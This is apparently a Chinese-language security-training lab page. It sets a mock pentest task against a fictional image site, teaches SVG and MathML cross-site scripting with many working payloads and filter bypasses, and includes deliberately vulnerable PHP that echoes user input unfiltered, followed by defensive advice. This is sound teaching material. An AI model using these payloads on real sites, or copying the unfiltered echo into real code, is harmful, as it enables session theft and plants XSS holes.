◈ 渗透任务
SVG 文件上传安全评估
任务中
你的身份
「暗影安全公司」渗透测试工程师
目标网站
PicShare 图片分享平台 (pics.picshare.example.com)
委托方
PicShare 允许上传 SVG 文件但未做安全检查,可能被利用执行恶意代码
任务目标
构造包含 XSS 的 SVG/MathML 文件,上传后触发执行
- 构造可执行 JS 的 SVG 文件
- 上传后在浏览器中触发 alert(1)
◈ 教程:SVG/MathML XSS
SVG 简介
SVG(Scalable Vector Graphics)是基于 XML 的矢量图形格式。与普通的 <img> 标签不同,SVG 是一种标记语言,支持完整的 XML 语法,这意味着它可以包含 <script> 标签和事件处理器。
核心风险:当 SVG 代码被直接插入 HTML DOM(通过
innerHTML 或直接输出),浏览器会将其作为 HTML/XML 解析并执行其中的脚本。SVG 文件本质上是可执行的代码。
SVG 中的 script 标签
<svg xmlns="http://www.w3.org/2000/svg">
<script>
alert(document.cookie);
</script>
</svg>
SVG 遵循 XML 命名空间规则,<script> 在 SVG 命名空间中等同于 HTML 的 <script>,会被浏览器执行。
SVG 事件处理器
SVG 元素支持多种事件处理器:
onload — 最常用
<svg onload="alert(1)"></svg>
<svg onload=alert(1)></svg>
onerror — 错误触发
<svg><image href="x" onerror="alert(1)"></svg>
<svg><img src="x" onerror="alert(1)"></svg>
onclick — 用户交互
<svg><circle cx="50" cy="50" r="40" onclick="alert(1)"/></svg>
SVG animate 元素
<svg>
<animate onbegin="alert(1)" attributeName="x" dur="1s"/>
</svg>
<svg>
<animate onend="alert(1)" attributeName="x" dur="0.001s"/>
</svg>
<svg>
<set onbegin="alert(1)" attributeName="x" to="1"/>
</svg>
SVG foreignObject
<foreignObject> 允许在 SVG 中嵌入 HTML 内容:
<svg>
<foreignObject width="200" height="200">
<body xmlns="http://www.w3.org/1999/xhtml">
<img src=x onerror=alert(1)>
</body>
</foreignObject>
</svg>
MathML XSS
MathML 是数学标记语言,同样基于 XML,也支持事件处理器:
<math>
<maction actiontype="statusline">
<mtext><img src=x onerror=alert(1)></mtext>
</maction>
</math>
<math>
<mtext onload="alert(1)">test</mtext>
</math>
SVG 作为独立文件上传
当网站允许上传 SVG 文件时,攻击者可以创建恶意 SVG:
<!-- evil.svg -->
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)">
<circle cx="50" cy="50" r="40" fill="red"/>
</svg>
当受害者在浏览器中打开这个 SVG 文件时,脚本会在该域的上下文中执行。
常见绕过技巧
大小写混合
<SVG ONLOAD=alert(1)></SVG>
<Svg OnLoad=alert(1)></Svg>
编码绕过
<svg onload=alert(1)></svg>
<svg onload="alert(1)"></svg>
嵌套绕过
<svg><svg onload=alert(1)></svg></svg>
<math><svg><script>alert(1)</script></svg></math>
防御 SVG XSS
- 使用 DOMPurify 等库净化 SVG 内容
- 以
<img src="file.svg">方式加载(不执行 JS) - 设置
Content-Security-Policy限制内联脚本 - 服务端解析 SVG 并移除
<script>和事件属性
◈ 练习:SVG/MathML XSS
目标:下面的页面允许用户输入 SVG 代码并直接渲染。没有任何过滤和净化。请构造 SVG 或 MathML payload 触发 XSS。
在上方输入框中输入 SVG 代码,点击"渲染 SVG"查看结果...
◈ 查看漏洞源码 (PHP)
<?php
$svg = $_POST['svg'] ?? '';
// 无任何过滤 — 直接渲染 SVG
?>
<div id="svg-render"><?= $svg ?></div>
◈ 过滤状态:
- SVG 输入 — 无过滤
<script>标签 — 未移除- 事件处理器 — 未过滤
- 渲染方式 — 直接 innerHTML 输出